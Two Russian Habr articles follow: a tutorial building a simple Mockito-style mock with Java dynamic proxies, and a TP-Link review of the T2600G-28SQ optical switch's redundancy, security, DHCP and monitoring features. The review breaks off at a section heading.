На прокси, с одной стороны, можно смотреть как на заменителя экземпляра какого-то типа, а с другой – как на смотрящий или проверяющий за происходящими вызовами метод.
Практическое его использование сводится к тому, чтобы создать экземпляр класса, соответствующий типу целевого объекта, и добавить к вызову метода операции до или после, а иногда и вовсе заменить исходный метод.
Индейская пословица гласит:
> Скажи мне – и я забуду, покажи мне – и я не смогу запомнить, привлеки меня к участию – и я пойму.
Так вот, легче будет понять через практику с реальным кодом:
[ProxyExample](http://jdoodle.com/ia/7Lm)
```
import java.lang.reflect.Proxy;
/**
* @author Arthur Kupriyanov
*/
public class ProxyExample {
interface IApple {
String getColor();
}
private static class Apple implements IApple {
private String color = "red";
public String getColor() {
return color;
}
}
public static void main(String[] args) {
Object proxyInstance = Proxy.newProxyInstance(
ProxyExample.class.getClassLoader(),
Apple.class.getInterfaces(), (proxy, method, args1) -> {
System.out.println("Called getColor() method on Apple");
return method.invoke(new Apple(), args1);
});
IApple appleProxy = (IApple) proxyInstance;
System.out.println(appleProxy.getColor());
}
}
```
На выводе мы получим:
```
Called getColor() method on Apple
red
```
Попробуйте, например, вместо вызова method.invoke сделать return «Green».
Довольно забавный и интересный фокус, правда? Тут следует понимать, что на самом деле мы не изменили цвет яблока, а лишь заменили его на другое яблоко с нужным нам цветом.
Теперь из-за принципов работы Proxy мы сразу можем понять, какие ограничения на него наложены:
* Мы не можем «перехватывать» вызовы статических, приватных и ненаследуемых (final) методов.
* Сделать прокси из ненаследуемого класса (final).
Показываем фокус
----------------
На самом деле, имея лишь этот арсенал, можно сделать что-то наподобие Mockito.
Конечно, наш фокус будет весьма ограничен по сравнению с увиденным ранее, но основной метод фокуса будет тем же.
Для начала нам нужно определиться пошагово с каждым нашим действием, которое будем показывать:
1. Создадим прокси типа с нашим InvocationHandler с необходимой нам логикой.
2. Создадим метод when, который вместе с thenReturn запомнит вызов метода, его аргументы и значение, которое нужно вернуть.
3. При вызове метода из нашего прокси объекта будем проверять сохранённые значения из пункта 2. Если есть сохранение заданного метода с такими же аргументами, то вернём сохранённое значение. Если нет, то вернем null.
Исходный код можно найти в [репозитории](https://github.com/AppLoidx/ProxyBasedMockExample) или же поиграть в [онлайн-редакторе](http://tpcg.io/RZhceBTP).
```
private static MockInvocationHandler lastMockInvocationHandler;
@SuppressWarnings("unchecked")
public static T mock(Class clazz) {
MockInvocationHandler invocationHandler = new MockInvocationHandler();
T proxy = (T) Proxy.newProxyInstance(Bourbon.class.getClassLoader(), new Class[]{clazz}, invocationHandler);
return proxy;
}
public static When when(T obj) {
return new When<>();
}
public static class When {
public void thenReturn(T retObj) {
lastMockInvocationHandler.setRetObj(retObj);
}
}
private static class MockInvocationHandler implements InvocationHandler {
private Method lastMethod;
private Object[] lastArgs;
private final List storedData = new ArrayList<>();
private Optional searchInStoredData(Method method, Object[] args) {
for (StoredData storedData : this.storedData) {
if (storedData.getMethod().equals(method) && Arrays.deepEquals(storedData.getArgs(), args)) {
// если данные есть, то возвращаем сохраненный
return Optional.ofNullable(storedData.getRetObj());
}
}
return Optional.empty();
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) {
lastMockInvocationHandler = this;
lastMethod = method;
lastArgs = args;
// проверяем в сохраненных данных
return searchInStoredData(method, args).orElse(null);
}
public void setRetObj(Object retObj) {
storedData.add(new StoredData(lastMethod, lastArgs, retObj));
}
private static class StoredData {
private final Object[] args;
private final Method method;
private final Object retObj;
private StoredData(Method method, Object[] args, Object retObj) {
this.args = args;
this.method = method;
this.retObj = retObj;
}
private Object[] getArgs() {
return args;
}
private Method getMethod() {
return method;
}
private Object getRetObj() {
return retObj;
}
}
}
```
Этот код не претендует на какое-либо качество кода, но он вполне нагляден.
Основным классом здесь является MockInvocationHandler, в который мы вставляем всю нашу логику с поиском сохранённых значений. Все сохранённые значения мы храним в виде списка StoredData, а затем при вызове любого из методов запроксированного объекта проверяем, было ли сохранено какое-либо значение.
> Те сомнения, которые не разрешает теория, разрешит тебе практика. Людвиг Файербах
Поэтому смело открываем IDE, копируем код (думаю, в этом мы все профи), практикуемся и смотрим каждую строчку кода. Более ленивые могут открыть онлайн-редактор (ссылка также была наверху перед кодом) и редактировать уже там.
Заключение
----------
Mockito имеет не только конструкцию when-thenReturn, но и ещё много других не менее интересных и не уступающих по красоте конструкций. Разработчики Mockito смогли не только найти весьма любопытный способ создавать заглушки, но и выбрали правильные имена и способ подачи разработчикам. Согласитесь, что та же конструкция, которую мы рассмотрели ранее, выглядит, как единая строчка текста.
Простота библиотеки в использовании и является ключевым фактором фокуса. Это выглядит так просто и очевидно при использовании, что кажется магией, хотя за кадром остаются тяжёлая подготовка (создание Proxy) и исполнение (поиск сохраненных значений).
Для ознакомления с методами использования библиотеки уже есть довольно много других статей на разных языках, в том числе на русском. Поэтому вам осталось самое интересное: изучить внутренности самого Mockito, (хорошо, что исходники есть в репозитории на [GitHub](https://github.com/mockito/mockito)) и понять, как он хорошо интегрируется в Spring Boot для тестирования. А я пожелаю вам удачи в этом пути!
---
[](https://skillfactory.ru/courses/?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ALLCOURSES&utm_term=regular&utm_content=120221)
* [Профессия Java-разработчик](https://skillfactory.ru/java?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_JAVA&utm_term=regular&utm_content=120221)
* [Профессия QA-инженер на JAVA](https://skillfactory.ru/java-qa-engineer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_QAJA&utm_term=regular&utm_content=120221)
* [Профессия Data Scientist](https://skillfactory.ru/dstpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DSPR&utm_term=regular&utm_content=120221)
* [Профессия Data Analyst](https://skillfactory.ru/dataanalystpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DAPR&utm_term=regular&utm_content=120221)
**Другие профессии и курсы**
**ПРОФЕССИИ**
* [Профессия Java-разработчик](https://skillfactory.ru/java?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_JAVA&utm_term=regular&utm_content=120221)
* [Профессия Frontend-разработчик](https://skillfactory.ru/frontend?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_FR&utm_term=regular&utm_content=120221)
* [Профессия Этичный хакер](https://skillfactory.ru/cybersecurity?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_HACKER&utm_term=regular&utm_content=120221)
* [Профессия C++ разработчик](https://skillfactory.ru/cplus?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_CPLUS&utm_term=regular&utm_content=120221)
* [Профессия Разработчик игр на Unity](https://skillfactory.ru/game-dev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_GAMEDEV&utm_term=regular&utm_content=120221)
* [Профессия Веб-разработчик](https://skillfactory.ru/webdev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_WEBDEV&utm_term=regular&utm_content=120221)
* [Профессия iOS-разработчик с нуля](https://skillfactory.ru/iosdev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_IOSDEV&utm_term=regular&utm_content=120221)
* [Профессия Android-разработчик с нуля](https://skillfactory.ru/android?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ANDR&utm_term=regular&utm_content=120221)
---
**КУРСЫ**
* [Курс по Machine Learning](https://skillfactory.ru/ml-programma-machine-learning-online?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ML&utm_term=regular&utm_content=120221)
* [Курс «Математика и Machine Learning для Data Science»](https://skillfactory.ru/math_and_ml?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MATML&utm_term=regular&utm_content=120221)
* [Курс по Data Engineering](https://skillfactory.ru/dataengineer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DEA&utm_term=regular&utm_content=130121)
* [Курс «Python для веб-разработки»](https://skillfactory.ru/python-for-web-developers?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_PWS&utm_term=regular&utm_content=120221)
* [Курс «Алгоритмы и структуры данных»](https://skillfactory.ru/algo?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_algo&utm_term=regular&utm_content=120221)
* [Курс по аналитике данных](https://skillfactory.ru/analytics?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_SDA&utm_term=regular&utm_content=120221)
* [Курс по DevOps](https://skillfactory.ru/devops?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DEVOPS&utm_term=regular&utm_content=120221) | https://habr.com/ru/post/541364/ | null | ru | null |
# Оптический коммутатор TP-Link T2600G-28SQ для сервис-провайдеров: подробный обзор
Расширение больших городов и образование агломераций — один из важных трендов социального развития сегодня. Одна только Москва в 2019 году должна расшириться на 4 млн квадратных метров жилья (и это не считая 15 населенных пунктов, которые присоединятся к 2020 году). На всей этой огромной территории операторам связи придется предоставлять пользователям доступ к интернету. Это могут быть как городские микрорайоны с плотной многоэтажной застройкой, так и более «разряженные» коттеджные поселки. Для этих случаев требования к оборудованию несколько различаются. Мы проанализировали каждый из этих сценариев и создали универсальную модель оптического коммутатора — T2600G-28SQ. В этом посте мы подробно разберем возможности устройства, которые будут интересны операторам связи по всей России.
Место в сети
------------
Коммутатор T2600G-28SQ предназначен как для работы на уровне доступа в сети, так и для агрегирования линков от других коммутаторов уровня доступа. Это коммутатор второго уровня, который выполняет коммутацию и статическую маршрутизацию. Если у оператора сделана коммутируемой и агрегация, и доступ (маршрутизация только в ядре сети), T2600G-28SQ впишется на любой из уровней. В случае динамически маршрутизируемой агрегации все-таки нужно учитывать некоторые ограничения по сценариям использования.
Модель T2600G-28SQ – полноценный активный Ethernet-коммутатор без дополнительных ограничений, появляющихся при использовании технологий xPON или подобных. Например, без угроз резкого падения скорости с увеличением количества пользователей или плохой совместимости между оборудованием различных вендоров и прошивками. К интерфейсам устройства могут подключаться как конечные пользователи, так и нижележащие коммутаторы доступа с оптическими аплинками, например, модель T2600G-28TS. На схеме ниже представлены наиболее распространенные примеры таких подключений.
Для доступа к сети конечного пользователя может использоваться оптическое волокно, либо витая пара. На стороне абонента оптическое волокно может терминироваться как при помощи конвертера среды (медиаконвертер), например, TP-Link MC220L; так и с использованием оптического интерфейса в SOHO-маршрутизаторе.
Для подключения близкорасположенного клиента можно использовать четыре RJ-45 порта, работающих на скоростях 10/100/1000 Мбит/с. Если же по какой-то причине этого окажется недостаточно, оператор может «конвертировать» оптические интерфейсы коммутатора в медные. Сделать это можно с помощью специализированных «медных» SFP с разъёмом RJ-45. Но такое решение нельзя назвать типовым.
Несколько примеров из практики
------------------------------
Для полноты картины приведем несколько примеров использования коммутаторов модели T2600G-28SQ.
Подмосковный провайдер [«ДИВО»](https://www.divo.ru/), который кроме интернета предоставляет услуги телефонии и кабельного ТВ, использует T2600G-28SQ на уровне доступа при построении сетей в частном секторе (коттеджи и таунхаусы). Со стороны клиента подключение производится к маршрутизаторам с SFP-портом, а также медиаконвертерам. На данный момент SOHO-маршрутизаторы с SFP-портом не производятся у нас серийно, но мы, конечно же, думаем об этом.
Оператор связи [МКС](https://mks-net.ru/) из Павлово-Посадского района применяет коммутаторы T2600G-28SQ в качестве «небольшой агрегации», используя на доступе коммутаторы моделей T2600G-28TS и T2500G-10TS.
Группа компаний [«Гарантия»](http://garantia.tv/) предоставляют на юго-востоке Московской области (Коломна, Луховицы, Зарайск, Серебряные пруды, Озёры) доступ в интернет, ТВ, телефонию, системы видеонаблюдения. Примерная топология здесь такая же, как и у МКС: T2600G-28SQ на уровне агрегации, а T2600G-28TS и T2500G-10TS на уровне доступа.
Провайдер [СКТВ](http://www.sktv.ru/) из Краснознаменска предоставляет доступ в интернет с помощью сети с глубоким проникновением оптики. В ее основе также лежат T2600G-28SQ.
В следующих разделах мы вкратце опишем некоторые возможности модели T2600G-28SQ. Чтобы не раздувать материал, ряд опций мы оставили за бортом: QinQ (VLAN VPN), маршрутизацию, QoS и др. Думаем, что можно будет вернуться к ним в одном из следующих постов.
Возможности коммутатора
-----------------------
### Резервирование – STP
STP – Spanning Tree Protocol. Протокол связующего (покрывающего) дерева известен уже очень давно, спасибо за это уважаемой Радье Перлман. В современных сетях администраторы стараются всячески избежать использование данного протокола. Да, STP не лишен недостатков. И очень хорошо, если есть ему альтернатива. Однако, как это часто бывает, альтернатива данному протоколу будет сильно зависеть от вендора. Поэтому до сих пор Spanning Tree Protocol остаётся чуть ли не единственным решением, которое поддерживается практически всеми производителями, а также известно всем сетевым администраторам.
Коммутатор TP-Link T2600G-28SQ поддерживает три версии STP: классический STP (IEEE 802.1D), RSTP (802.1W) и MSTP (802.1S).
Из этих вариантов для большинства небольших интернет-провайдеров в России вполне подходит обычный RSTP, имеющий перед классической версией одно неоспоримое преимущество — значительно меньшее время сходимости.
Наиболее гибким на сегодняшний день является протокол MSTP, поддерживающий виртуальные сети (VLAN) и допускающий несколько различных деревьев, что позволяет задействовать все доступные резервные пути. Администратор создаёт несколько различных экземпляров дерева (до восьми), каждый из которых обслуживает определенный набор виртуальных сетей.
**Тонкости MSTP**Начинающим администраторам при использовании MSTP нужно быть очень внимательными. Это связано с тем, что поведение протокола внутри региона и между регионами отличается. Поэтому при конфигурировании коммутаторов стоит следить за тем, чтобы оставаться в рамках одного региона.
Что же такое этот пресловутый регион? Регионом в терминах MSTP называется набор соединенных друг с другом коммутаторов, у которых совпадают следующие характеристики: имя региона, номер ревизии и распределение виртуальных сетей (VLAN) между экземплярами протокола (instance).
Конечно же, протокол Spanning Tree (любой версии) позволяет не только бороться с петлями, возникающими при подключении резервных каналов, но также защититься от ошибок кабельной коммутации, когда инженер специально или неумышленно соединяет неправильные порты, создавая своими действиями петлю.
Более опытные сетевые администраторы предпочитают использовать разнообразные дополнительные опции для защиты протокола STP от атак или сложных аварийных ситуаций. Модель T2600G-28SQ предлагает целый набор таких возможностей: Loop Protect и Root Protect, TC Guard, BPDU Protect и BPDU Filter.
Правильное использование перечисленных выше опций совместно с другими поддерживаемыми механизмами защиты позволит стабилизировать локальную сеть и сделать её более предсказуемой.
### Резервирование – LAG
LAG – Link Aggregation Group. Это технология, позволяющая объединить несколько физических каналов в один логический. Все остальные протоколы перестают использовать физические каналы, входящие в LAG, по отдельности и начинают «видеть» один логический интерфейс. Примером такого протокола является STP.
Балансировка пользовательского трафика между физическими каналами внутри логического производится на основании хэш-суммы. Для её расчёта могут использоваться MAC-адреса отправителя, получателя, либо их пара; а также IP-адреса отправителя, получателя, либо их пара. Информация протоколов четвёртого уровня (порты TCP/UDP) не учитывается.
Коммутатор T2600G-28SQ поддерживает статические и динамические LAG.
Для согласования параметров работы динамической группы используется протокол LACP.
### Безопасность – списки доступа (ACL)
Наш коммутатор T2600G-28SQ позволяет фильтровать пользовательский трафик с помощью списков доступа (ACL – Access Control List).
Поддерживаемые списки доступа могут быть нескольких разных типов: MAC и IP (IPv4/IPv6), комбинированные, а также для выполнения контентной фильтрации. Количество поддерживаемых списков доступа каждого типа зависит от используемого в данный момент шаблона SDM, который мы описали в другом разделе.
Оператор может использовать данную опцию для блокирования различного нежелательного трафика в сети. Примером такого трафика могут являться пакеты IPv6 (с помощью поля EtherType), если соответствующая услуга не предоставляется; либо блокировать SMB по порту 445. В сети со статической адресацией DHCP/BOOTP трафик не требуется, поэтому с помощью ACL администратор может отфильтровать UDP-датаграммы по портам 67 и 68. Запретить локальный IPoE трафик также можно с помощью ACL. Такая блокировка может быть востребованной в сетях операторов, применяющих PPPoE.
Процесс использование списков доступа предельно прост. После создания самого списка, необходимо добавить в него нужное количество записей, тип которых напрямую зависит от настраиваемого листа.
**Настройка списков доступа**
Стоит заметить, что списки доступа могут выполнять не только обычные операции по разрешению или запрещению прохождения трафика, но также заниматься его перенаправлением, зеркалированием, а также выполнять его перемаркировку или ограничивать по скорости.
После того, как все необходимые ACL созданы, администратор может выполнить их установку. Допускается прикрепление списка доступа как к непосредственному физическому порту, так и к определенной виртуальной сети.
### Безопасность – количество MAC-адресов
Иногда у операторов возникает необходимость ограничить количество MAC-адресов, которые коммутатор выучит на определённом порту. Списки доступа позволяют добиться указанного эффекта, но при этом требуют явного указания самих MAC-адресов. Если же требуется лишь ограничить количество канальных адресов, но не указывать их в явном виде, — на помощь придёт port security.
Такое ограничение может потребоваться, например, для защиты от подключения целой локальной сети к одному интерфейсу коммутатора провайдера. Здесь же стоит оговориться, что речь идёт о коммутируемом подключении, потому что при подключении с помощью маршрутизатора на стороне клиента T2600G-28SQ выучит только один адрес – это MAC, принадлежащий WAN-порту клиентского роутера.
Существует целый класс атак, направленных против таблицы коммутации. Это может быть и переполнение таблицы, и MAC-spoofing. Опция port security позволит защититься от переполнения мостовой таблицы и от атак, целью которых является предумышленное переобучение коммутатора, отравление его мостовой таблицы.
Нельзя не упомянуть и о просто сбоящем клиентском оборудовании. Нередки ситуации, когда неправильно функционирующая сетевая карта компьютера или маршрутизатор создают поток кадров с совершенно произвольными адресами отправителя и получателя. Такой поток может с лёгкостью истощить CAM.
Еще одним способом ограничения количества используемых записей в мостовой таблице служит инструмент MAC VLAN Security, с помощью которого администратор может указать максимальное количество записей для определенной виртуальной сети.
Кроме управления динамическими записями в таблице коммутации администратор может также создавать статические.
Максимально мостовая таблица модели T2600G-28SQ позволяет вместить до 16К записей.
Еще одной опцией, предназначенной для фильтрации передачи пользовательского трафика, является функция Port Isolation, позволяющая в явном виде указать, в каком направлении разрешена пересылка.
### Безопасность – IMPB
На просторах нашей необъятной родины подход операторов связи к вопросам обеспечения безопасности в сети разнится от полного игнорирования до максимально возможного применения всех поддерживаемых оборудованием опций.
Функции IPv4 IMPB (IP-MAC-Port Binding) и IPv6 IMPB позволяют защититься от целого спектра атак, связанных с подменой IP и MAC-адресов со стороны абонентов путём привязки IP и MAC-адресов клиентского оборудования к интерфейсу коммутатора провайдера. Такая привязка может осуществляться вручную, либо с использованием функций ARP Scanning и DHCP Snooping.
**Основные настройки IMPB**
Справедливости ради стоит сказать, что для защиты протокола DHCP может применяться специальная функция – DHCP Filter.
С помощью данной функции сетевой администратор может вручную указать те интерфейсы, к которым подключены настоящие DHCP-сервера. Таким образом подложные сервера DHCP не смогут вклиниться в процесс согласования IP-параметров.
### Безопасность – DoS Defend
Рассматриваемая модель позволяет защищать пользователей от нескольких наиболее известных и распространённых ранее DoS-атак.
Большая часть из перечисленных атак уже совершенно не страшна устройствам с современными операционными системами, однако до сих пор в наших сетях могут встречаться и такие, для которых последнее обновление программного обеспечение было произведено много лет назад.
### Поддержка DHCP
Коммутатор TP-Link T2600G-28SQ может выступать как в качестве DHCP-сервера или релея, так и выполнять разнообразную фильтрацию DHCP-сообщений, если в качестве сервера выступает другое устройство.
Самый простой способ предоставить пользователям необходимые для работы IP-параметры — задействовать встроенный в коммутатор DHCP-сервер. Основные параметры с его помощью уже можно отдать абонентам.
Мы подключили наш SOHO-маршрутизатор Archer C6 к одному из интерфейсов коммутатора и убедились в успешности получения адреса клиентским устройством.
**Это выглядит так**
Встроенный в коммутатор DHCP-сервер — пожалуй, не самое масштабируемое и гибкое решение: нет поддержки нестандартных опций, отсутствует связь с IPAM. Если же оператору требуется больше контроля над процессом распределения IP-адресов, то будет использован какой-либо выделенный DHCP-сервер.
T2600G-28SQ позволяет для каждой пользовательской подсети указать отдельный выделенный DHCP-сервер, на который будут перенаправляться сообщения обсуждаемого протокола. Выбор подсети происходит путем указания соответствующего L3-интерфейса: VLAN (SVI), routed port или port-channel.
Чтобы проверить функционирование релея мы сконфигурировали отдельный маршрутизатор другого вендора для работы в качестве DHCP-сервера, настройки которого представлены ниже.
```
R1#sho run | s pool
ip dhcp pool test
network 192.168.0.0 255.255.255.0
default-router 192.168.0.1
dns-server 8.8.8.8
```
Клиентский маршрутизатор вновь успешно получил IP-адрес.
```
R1#sho ip dhcp binding
Bindings from all pools not associated with VRF:
IP address Client-ID/ Lease expiration Type
Hardware address/
User name
192.168.0.2 010c.8063.f0c2.6a May 24 2019 05:07 PM Automatic
```
Под спойлером — содержимое перехваченного пакета между коммутатором и выделенным DHCP-сервером.
**Содержимое пакета**
Нельзя не отметить наличие поддержки Option 82 со стороны коммутатора. При её активации коммутатор будет добавлять информацию о пользовательском интерфейсе, с которого было получено сообщение DHCP Discover. Кроме того, модель T2600G-28SQ позволяет настроить политику обработки добавляемой информации при вставке опции №82. Наличие поддержки указанной опции может пригодиться в ситуации, когда абоненту необходимо выдавать один и тот же IP-адрес вне зависимости от того, какой идентификатор клиент (client-id) о себе сообщает.
На рисунке ниже представлено сообщение DHCP Discover (переданное релеем) c добавленной опцией №82.
**Сообщение c опцией №82**
Конечно же, управлять опцией №82 можно и без настройки полноценного DHCP-релея, соответствующие настройки представлены в подпункте «DHCP L2 Relay».
А теперь изменим настройки DHCP-сервера так, чтобы продемонстрировать работу опции №82.
```
R1#sho run | s dhcp
ip dhcp pool test
network 192.168.0.0 255.255.255.0
default-router 192.168.0.1
dns-server 8.8.8.8
class option82_test
address range 192.168.0.222 192.168.0.222
ip dhcp class option82_test
relay agent information
relay-information hex 010e010c74702d6c696e6b5f746573740208000668ff7b66f675
R1#sho ip dhcp binding
Bindings from all pools not associated with VRF:
IP address Client-ID/ Lease expiration Type
Hardware address/
User name
192.168.0.222 010c.8063.f0c2.6a May 24 2019 05:33 PM Automatic
```
**Вот примерно так**
Функция DHCP interface relay будет полезна в ситуации, когда на коммутаторе не только присутствует L3-интерфейс, подключенный к определенной сети, но еще и этот интерфейс обладает IP-адресом. В случае же отсутствия адреса на таком интерфейсе на помощь придет функция DHCP VLAN relay. Информация о подсети в этом случае берется из интерфейса по умолчанию, то есть адресные пространства в нескольких виртуальных сетях будут одинаковыми (перекрываться).
Зачастую операторам требуется также обезопасить абонентов от ошибочного или злонамеренного включения DHCP-сервера на клиентском оборудовании. Обсуждение этой функциональности мы решили вынести в один из разделов, посвященных вопросам безопасности.
### IEEE 802.1X
Одним из способов аутентификации пользователей в сети является использование протокола IEEE 802.1X. Популярность этого протокола в сетях операторов связи в России уже идет на спад, он все еще используется в основном в локальных сетях крупных компаний для аутентификации внутренних пользователей организации. В коммутаторе T2600G-28SQ есть поддержка 802.1X, поэтому при необходимости провайдер может с лёгкостью его задействовать.
Для работы протокола IEEE 802.1X необходимо три участника: клиентское оборудование (supplicant), коммутатор доступа провайдера (authenticator) и сервера аутентификации (обычно RADIUS-сервера).
Базовая конфигурация со стороны оператора предельно проста. Требуется лишь указать IP-адрес используемого RADIUS-сервера, на котором будет храниться пользовательская база данных, а также выбрать интерфейсы, для которых необходима аутентификация.
**Базовая настройка 802.1X**
С клиентской стороны также требуется незначительная настройка. Все современные операционные системы уже содержат необходимое программное обеспечение. Но при необходимости можно установить и использовать TP-Link 802.1x Client – приложение, позволяющее производить аутентификацию клиента в сети.
При подключении пользовательского ПК напрямую к сети провайдера, настройки аутентификации необходимо активировать для той сетевой карты, которая используется для подключения.
Однако в настоящее время к сети оператора обычно подключается не компьютер пользователя напрямую, а некий SOHO-маршрутизатор, обеспечивающий функционирование локальной сети абонента (как проводного, так и беспроводного сегментов). В этом случае все настройки протокола 802.1X должны выполняться непосредственно на маршрутизаторе.
Нам кажется, что в операторских сетях такой способ аутентификации незаслуженно забыт. Да, жесткая привязка абонента к порту коммутатора, возможно, будет более простым решением с точки зрения настроек пользовательского оборудования. Но если использование логина и пароля необходимо, то 802.1X будет не столь тяжеловесным протоколом по сравнению с используемыми подключениями на базе туннелей PPTP/L2TP/PPPoE.
### PPPoE ID Insertion
Многие пользователи не только в нашей стране, но и во всём мире до сих пор предпочитают использовать предельно простые пароли. Да и случаи кражи учетных данных, увы, не являются редкостью. Если в своей сети оператор использует протокол PPPoE для аутентификации пользователей, то коммутатор TP-Link T2600G-28SQ поможет решить проблему, связанную с утечкой учетных данных. Достигается это за счёт добавления специальной метки к сообщению PPPoE Active Discovery. Таким образом провайдер может аутентифицировать абонента не только по логину и паролю, но еще и дополнительным данным. К таким дополнительным данным относятся MAC-адрес клиентского устройства, а также интерфейс коммутатора, к которому оно подключено.
Некоторые операторы в принципе желают запретить абоненту (пара логин и пароль) возможность перемещаться по сети. Функция PPPoE ID Insertion поможет и в этом случае тоже.
### IGMP
Протокол IGMP (Internet Group Management Protocol) существует уже не одно десятилетие. Популярность его вполне понятна и легко объяснима. Но в IGMP-взаимодействии участвуют две стороны: ПК пользователя (или любое другое устройство, например, STB) и IP-маршрутизатор, обслуживающий определенный сегмент сети. Коммутаторы никак не участвуют в этом обмене. Правда, последнее утверждение не совсем верно. Или в современных сетях совсем не верно. Поддержка протокола IGMP со стороны коммутаторов необходима для того, чтобы оптимизировать пересылку группового трафика. Прослушивая пользовательский трафик коммутатор обнаруживает в нем сообщения IGMP Report, с помощью которых определяет порты для пересылки группового трафика. Описанная опция называется IGMP Snooping.
Поддержка протокола IGMP может использоваться не только для оптимизации трафика как такового, но и для определения абонентов, которым может предоставляться определенная услуга, например, IPTV. Достичь желаемой цели можно как с помощью настройки параметров фильтрации вручную, так и путем использования аутентификации.
Поддержка группового трафика на коммутаторах TP-Link реализована достаточно гибко. Так, например, все параметры могут быть заданы для каждой виртуальной сети в отдельности.
Если к одному интерфейсу маршрутизатора подключено несколько подсетей, в которых расположены получатели группового трафика, то этот маршрутизатор будет вынужден отправить несколько копий пакетов через этот интерфейс (по одному для каждой виртуальной сети).
Оптимизировать процедуру пересылки группового трафика в данном случае можно с помощью технологии MVR – Multicast VLAN Registration.
Суть решения состоит в том, что создается одна виртуальная сеть, объединяющая всех получателей. Однако эта виртуальная сеть используется только для группового трафика. Такой подход позволяет маршрутизатору отправлять лишь одну копию группового трафика через интерфейс.
### DDM, OAM и DLDP
DDM – Digital Diagnostic Monitoring. В процессе эксплуатации оптических модулей часто бывает необходимо следить за состоянием самого модуля, а также оптического канала, к которому он подключен. Справиться с этой задачей поможет функция DDM. С её помощью инженеры оператора смогут отслеживать температуру каждого поддерживающего данную функциональность модуля, напряжение на нём и ток, а также мощности отправляемого и принимаемого оптического сигналов.
Установка пороговых уровней для описанных ранее параметров позволит генерировать событие в случае их выхода за допустимый диапазон.
**Настройка порогов срабатывания DDM**
Естественно, администратор может просмотреть текущие значения указанных параметров.
Коммутатор TP-Link T2600G-28SQ обладает активной системой воздушного охлаждения. Более того, мы ни разу не сталкивались с перегревом SFP-модулей в наших коммутаторах, связанных с плотностью портов. Однако если чисто в теории допустить такую возможность (например, из-за какой-либо проблемы внутри SFP-модуля), то с помощью DDM администратор будет немедленно оповещен о потенциально опасной ситуации. Опасность здесь, очевидно, не для самого коммутатора, а для диода/лазера внутри SFP, так как с ростом его температуры может происходить деградация мощности излучаемого оптического сигнала, что приведет к снижению оптического бюджета.
Здесь же стоит заметить, что коммутаторы TP-Link не имеют «функции» vendor lock, то есть поддерживаются любые совместимые SFP-модули, что, конечно же, будет очень удобно для сетевых администраторов.
OAM — Operation, Administration, and Maintenance (IEEE 802.3ah). OAM – протокол второго уровня модели OSI, предназначенный для мониторинга и поиска неисправностей в сетях Ethernet. С помощью данного протокола коммутатор может отслеживать производительность определённого соединения и ошибки, генерировать оповещения для того, чтобы сетевой администратор мог более эффективно управлять сетью.
**Базовая настройка OAM**
**Детали функционирования OAM**Два соседних устройства, поддерживающих OAM, производят периодический обмен сообщениями путем отправки OAMPDU, которые бывают трёх типов: Informational, Event Notification и Loopback Control. С помощью информационных OAMPDU соседние коммутаторы отправляют друг другу статистическую информацию, а также данные, определяемые администратором. Также данный тип сообщений используется для поддержания соединения по протоколу OAM. Сообщения Event Notification используются функцией мониторинга соединения для уведомления противоположной стороны о произошедших сбоях. Для определения петли на линии используются сообщения Loopback Control.
Ниже мы решили перечислить основные возможности, предоставляемые протоколом OAM:
* мониторинг среды (обнаружение и подсчёт битых кадров),
* RFI – Remote Failure Indication (отправка уведомления о сбое на канале),
* Remote Loopback (тестирование канала для измерения задержки, вариации задержки (jitter), количества потерянных фреймов).
Ещё одной опцией, востребованной на оптических коммутаторах, является возможность обнаружения проблем на канале связи, приводящих к тому, что канал становится симплексным, то есть отправка данных может производиться только в одну сторону. Наши коммутаторы используют для целей обнаружения однонаправленных линков протокол DLDP – Device Link Detection Protocol. Справедливости ради стоит отметить, что протокол DLDP поддерживается как на оптических, так и на медных интерфейсах, однако на наш взгляд, он будет наиболее востребованным при использовании оптоволоконных линий.
При обнаружении однонаправленного канала коммутатор может автоматически выключить проблемный интерфейс, что приведёт к перестроению STP дерева и использованию резервных каналов связи.
В нашем арсенале существуют SFP-модули, осуществляющие приём и передачу сигнала по одному волокну. Работают они исключительно парами и для передачи внутри пары используют оптический сигнал на разных длинах волн. Примером может служить пара TL-SM321A и TL-SM321B. При использовании такого рода модулей повреждение одного волокна приведёт к полной неработоспособности всего оптического канала. Однако и на таких каналах протокол DLDP будет востребован, так как, хотя это и случается крайне редко, канал может иметь разные характеристики прозрачности для разных длин волн. Более вероятная проблема состоит в различной прозрачности канала в зависимости от направления распространения света. Обнаружить указанные проблемы поможет рефлектограмма, но это уже совсем другая история.
### LLDP
В крупных корпоративных или операторских сетях периодически возникают проблемы с устареванием документации на сеть или неточностями при её составлении. Сетевой администратор может столкнуться с ситуацией, когда необходимо выяснить, какое операторское оборудование на самом подключено к тому или иному интерфейсу коммутатора. На помощь придёт протокол LLDP – Link Layer Discovery Protocol (IEEE 802.1AB).
**Параметры функционирования LLDP**
Наши коммутаторы поддерживают протокол LLDP не только для обнаружения соседних коммутаторов или других сетевых устройств, но также и для определения их возможностей.
Медные собратья нашего коммутатора могут использовать LLDP-MED для упрощения процедуры подключения IP-телефонов. Также с помощью данной опции PoE-коммутатор может согласовывать параметры питания с питаемым устройством. Об этом мы уже довольно подробно рассказывали в одном из наших [прошлых материалов](https://habr.com/ru/company/tp_link_russia/blog/351614/).
### SDM и переподписка
